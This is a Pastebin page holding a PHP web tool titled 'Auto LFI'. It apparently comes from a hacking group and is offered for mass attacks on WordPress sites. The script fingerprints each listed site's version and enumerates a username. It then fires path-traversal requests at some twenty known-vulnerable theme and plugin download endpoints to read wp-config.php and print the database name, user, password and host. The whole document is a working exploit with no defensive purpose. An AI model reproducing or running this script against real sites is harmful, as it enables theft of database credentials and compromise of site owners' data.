Advertisement
AZZATSSINS_CYBERSERK

Wordpress LFI

May 11th, 2016
286
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.50 KB | None | 0 0
  1. <html>
  2. <title>Auto LFI</title>
  3. <body bgcolor=silver><center><div style=background:black;margin:0px;padding:4px;text-align:center;color:silver;><i><b><font color=lime>&copy; </font><a href=mailto:cyberserkers@gmail.com>AZZATSSINS CYBERSERKERS</a></b></i></div><br><br>
  4.     <form method='POST'>
  5.     <textarea name='sites' cols='45' rows='15'></textarea>
  6.     _______________________________________________________________
  7. <br><input style="background:dodgerblue;margin:1px;width:15%;padding:0px;color:#fff;border:0;font-weight:bold;" value="EXECUTE" type="submit"><br><br><br>
  8.     </form>
  9.  
  10.  
  11. <?php
  12.  
  13. @set_time_limit(0);
  14.  
  15.  
  16. $sites = explode("\r\n", $_POST['sites']);
  17.  
  18. foreach($sites as $site) {
  19.  
  20. $site = trim($site);
  21.  
  22. $ch = curl_init();
  23. curl_setopt($ch, CURLOPT_URL, "$site");
  24. curl_setopt($ch, CURLOPT_HEADER, 1);
  25. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  26. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  27. $get = curl_exec($ch);
  28. curl_close($ch);
  29.     if(preg_match("#WordPress (.*?)/>#", $get, $version)){
  30.     $str = str_replace('/>', "", $version[0]);
  31.     $str = str_replace('"', "", $str);
  32.    
  33.     $users = @file_get_contents("$site/?author=1");
  34.     preg_match('/<title>(.*?)<\/title>/si',$users,$user);
  35.     $wpuser = explode('|',$user[1]);
  36. echo " <br>_______________________________________________________________</br>";
  37. echo "Site : ".$site."<br> Wp User : ".$wpuser[0]."<br> Version : ".$str."<br>"; }
  38. $expl = array("wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php","wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php","wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php","wp-content/themes/urbancity/lib/scripts/download.php?file=wp-config.php","wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php","wp-content/themes/acento/includes/view-pdf.php?download=1&file=../../../../wp-config.php","wp-content/force-download.php?file=../wp-config.php","wp-content/themes/lote27/download.php?download=../../../wp-config.php","wp-content/plugins/wp-custom-pages/wp-download.php?download=../../../wp-config.php");
  39. foreach($expl as $exploit){
  40. $ch = curl_init();
  41. curl_setopt($ch, CURLOPT_URL, "$site/$exploit");
  42. curl_setopt($ch, CURLOPT_HTTPGET, 1);
  43. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  44. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  45. $xp = curl_exec ($ch);
  46. curl_close($ch);
  47. if(preg_match("#DB_USER#i",$xp)){
  48. preg_match("#'DB_NAME', '(.*?)'#i",$xp,$DB_NAME);
  49. echo "DB_NAME:{$DB_NAME[1]}<br>";
  50. preg_match("#'DB_USER', '(.*?)'#i",$xp,$DB_USER);
  51. echo "DB_USER:{$DB_USER[1]}<br>";
  52. preg_match("#'DB_PASSWORD', '(.*?)'#i",$xp,$DB_PASSWORD);
  53. echo "DB_PASSWORD:{$DB_PASSWORD[1]}<br>";
  54. preg_match("#'DB_HOST', '(.*?)'#i",$xp,$DB_HOST);
  55. echo "DB_HOST:{$DB_HOST[1]}<br>";
  56.  
  57. }}
  58.  
  59. $lt = array("wp-content/themes/construct/lib/scripts/dl-skin.php","wp-content/themes/persuasion/lib/scripts/dl-skin.php","wp-content/themes/manbiz2/lib/scripts/dl-skin.php","wp-content/themes/method/lib/scripts/dl-skin.php","wp-content/themes/elegance/lib/scripts/dl-skin.php","wp-content/themes/modular/lib/scripts/dl-skin.php","wp-content/themes/myriad/lib/scripts/dl-skin.php","wp-content/themes/echelon/lib/scripts/dl-skin.php","wp-content/themes/fusion/lib/scripts/dl-skin.php","wp-content/themes/awake/lib/scripts/dl-skin.php","wp-content/themes/dejavu/lib/scripts/dl-skin.php");
  60. foreach($lt as $l){
  61. $site = "$site/$l";
  62. $process = curl_init($site);
  63. curl_setopt($process, CURLOPT_TIMEOUT, 30);
  64. curl_setopt($process, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
  65. curl_setopt($process, CURLOPT_HEADER, TRUE);
  66. curl_setopt($process, CURLOPT_POST, 1);
  67. curl_setopt($process, CURLOPT_POSTFIELDS, "_mysite_download_skin=../../../../../wp-config.php");
  68. curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
  69. curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
  70. $return = curl_exec($process);
  71. if(preg_match("#DB_USER#i",$return)){
  72. preg_match("#'DB_NAME', '(.*?)'#i",$return,$DB_NAME);
  73. echo "DB_NAME:{$DB_NAME[1]}<br>";
  74. preg_match("#'DB_USER', '(.*?)'#i",$return,$DB_USER);
  75. echo "DB_USER:{$DB_USER[1]}<br>";
  76. preg_match("#'DB_PASSWORD', '(.*?)'#i",$return,$DB_PASSWORD);
  77. echo "DB_PASSWORD:{$DB_PASSWORD[1]}<br>";
  78. preg_match("#'DB_HOST', '(.*?)'#i",$return,$DB_HOST);
  79. echo "DB_HOST:{$DB_HOST[1]}<br>";
  80. break;
  81. echo " <br>_______________________________________________________________</br>";
  82.  
  83. }
  84. }
  85. }
  86.  
  87. ?>
  88. </html>
  89. </body>
  90. </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement